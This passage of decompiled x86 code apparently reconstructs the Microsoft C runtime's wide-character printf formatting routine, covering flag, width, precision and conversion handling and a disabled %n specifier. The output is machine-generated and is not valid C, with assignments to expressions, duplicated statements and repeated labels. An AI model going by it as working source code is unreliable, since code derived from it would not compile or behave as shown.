										 *(_t596 - 0x4b0) =  *(_t596 - 0x4b0) +  *(_t596 - 0x4b8);
										continue;
									}
									L205:
									 *(_t596 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t596 - 0x44c) >= 0) {
									if(( *(_t596 - 0x10) & 0x00000004) != 0) {
										E0043CC80(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0x10;
									}
								}
							}
							L212:
							if( *(_t596 - 0x20) != 0) {
								L0041C6E0( *(_t596 - 0x20), 2);
								_t599 = _t599 + 8;
								 *(_t596 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t596 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t596 + 0xc))));
								_t535 =  *(_t596 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t596 + 0xc)) =  *((intOrPtr*)(_t596 + 0xc)) + 2;
								if(( *(_t596 - 0x454) & 0x0000ffff) == 0 ||  *(_t596 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t596 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t596 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t596 - 0x4d8) = 0;
									} else {
										 *(_t596 - 0x4d8) =  *(( *(_t596 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t596 - 0x450) =  *(_t596 - 0x4d8);
								_t573 =  *(_t596 - 0x450) * 9;
								_t494 =  *(_t596 - 0x45c);
								_t543 = ( *(_t573 + _t494 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t596 - 0x45c) = ( *(_t573 + _t494 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t596 - 0x45c) != 8) {
									L16:
									 *(_t596 - 0x4e0) =  *(_t596 - 0x45c);
									if( *(_t596 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t596 - 0x4e0) * 4 +  &M0043CB14))) {
										case 0:
											L18:
											 *(_t596 - 0xc) = 1;
											E0043CC20( *(_t596 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
											_t599 = _t599 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t59 =  *(__ebp - 0x4e4) + 0x43cb4c; // 0x498d04
											__ecx =  *_t59 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043CB34))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t83;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E004285E0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t94;
												 *(__ebp - 0x30) = __ecx + _t94;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E004285E0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t102 =  *(__ebp - 0x4e8) + 0x43cb74; // 0xc3819003
											__ecx =  *_t102 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043CB60))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t596 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t143 =  *(__ebp - 0x4ec) + 0x43cbe0; // 0xcccccc0d
											__eax =  *_t143 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M0043CBA4))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L81:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L83;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													goto L0;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041BA60( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AFF0(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x440374; // 0xc0d8c8fb
															E00424860(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AFF0(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x440380; // 0xc0d7763b
																	E00424860(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AFF0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44037c; // 0xc0d772bb
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
															goto L187;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E004285E0(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E0041AFF0(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041AFF0(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E0043B720(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													do {
														L187:
														if( *(_t596 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													} while ( *(__ebp - 0x4ec) > 0x37);
													goto L66;
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													L105:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x484) = E004285E0(__ebp + 0x14);
													__eax = E00434180();
													__eflags = __eax;
													if(__eax != 0) {
														L115:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) & 0x00000020;
														__eflags = __ecx;
														if(__ecx == 0) {
															__ecx =  *(__ebp - 0x484);
															__edx =  *(__ebp - 0x44c);
															 *__ecx =  *(__ebp - 0x44c);
														} else {
															__edx =  *(__ebp - 0x484);
															__ax =  *(__ebp - 0x44c);
															 *( *(__ebp - 0x484)) = __ax;
														}
														 *(__ebp - 0x28) = 1;
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
													L106:
													__ecx = 0;
													__eflags = 0;
													if(0 == 0) {
														 *(__ebp - 0x4f4) = 0;
													} else {
														 *(__ebp - 0x4f4) = 1;
													}
													__edx =  *(__ebp - 0x4f4);
													 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
													__eflags =  *(__ebp - 0x488);
													if( *(__ebp - 0x488) == 0) {
														_push(L"(\"\'n\' format specifier disabled\", 0)");
														_push(0);
														_push(0x695);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														__eax = L0041E520();
														__esp = __esp + 0x14;
														__eflags = __eax - 1;
														if(__eax == 1) {
															asm("int3");
														}
													}
													__eflags =  *(__ebp - 0x488);
													if( *(__ebp - 0x488) != 0) {
														L114:
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													} else {
														L113:
														 *((intOrPtr*)(L00423010(__ecx))) = 0x16;
														__eax = E00422DA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
														 *(__ebp - 0x4cc) = 0xffffffff;
														__ecx = __ebp - 0x40;
														__eax = E0041AFC0(__ecx);
														__eax =  *(__ebp - 0x4cc);
														goto L225;
													}
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L83:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E004285E0(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L97:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0x440f84; // 0x404468
															 *(__ebp - 4) = __ecx;
														}
														 *(__ebp - 0xc) = 1;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x480) =  *(__ebp - 4);
														while(1) {
															L100:
															__eax =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c) - 1;
															 *(__ebp - 0x47c) = __ecx;
															__eflags =  *(__ebp - 0x47c);
															if( *(__ebp - 0x47c) == 0) {
																break;
															}
															L101:
															__edx =  *(__ebp - 0x480);
															__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
															if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																break;
															}
															L102:
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
														}
														L103:
														__edx =  *(__ebp - 0x480);
														__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
														__eflags = __edx;
														 *(__ebp - 0x24) = __edx;
														goto L104;
													} else {
														L87:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f80; // 0x404478
															 *(__ebp - 4) = __eax;
														}
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x478) = __ecx;
														 *(__ebp - 0x24) = 0;
														while(1) {
															L91:
															__eax =  *(__ebp - 0x24);
															__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
															if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																break;
															}
															L92:
															__ecx =  *(__ebp - 0x478);
															__edx =  *__ecx;
															__eflags =  *__ecx;
															if( *__ecx == 0) {
																break;
															}
															L93:
															__ecx = __ebp - 0x40;
															E0041AFF0(__ebp - 0x40) =  *(__ebp - 0x478);
															__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
															__eax = E00431490( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__ebp - 0x478);
																__edx =  *(__ebp - 0x478) + 1;
																__eflags = __edx;
																 *(__ebp - 0x478) = __edx;
															}
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															__edx =  *(__ebp - 0x24);
															__edx =  *(__ebp - 0x24) + 1;
															__eflags = __edx;
															 *(__ebp - 0x24) = __edx;
														}
														L96:
														L104:
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
												case 0xc:
													L141:
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 0xd:
													L144:
													 *(__ebp - 0x460) = 0x27;
													L145:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx = 0x30;
														 *((short*)(__ebp - 0x14)) = __dx;
														 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
														__eflags =  *(__ebp - 0x460) + 0x51;
														 *(__ebp - 0x12) = __ax;
														 *(__ebp - 0x1c) = 2;
													}
													L150:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E004285E0(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E004285E0(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																	 *(__ebp - 0x49c) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E004285E0(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x4a0) = E00428600(__ebp + 0x14);
															 *(__ebp - 0x49c) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x4a0) = E00428600(__ebp + 0x14);
														 *(__ebp - 0x49c) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L167:
														__ecx =  *(__ebp - 0x4a0);
														 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
														__edx =  *(__ebp - 0x49c);
														 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
														goto L168;
													} else {
														L163:
														__eflags =  *(__ebp - 0x49c);
														if(__eflags > 0) {
															goto L167;
														}
														L164:
														if(__eflags < 0) {
															L166:
															 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
															__edx =  *(__ebp - 0x49c);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
															 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L168:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x4a8);
																	__eax =  *(__ebp - 0x4a4);
																	__eax =  *(__ebp - 0x4a4) & 0x00000000;
																	__eflags = __eax;
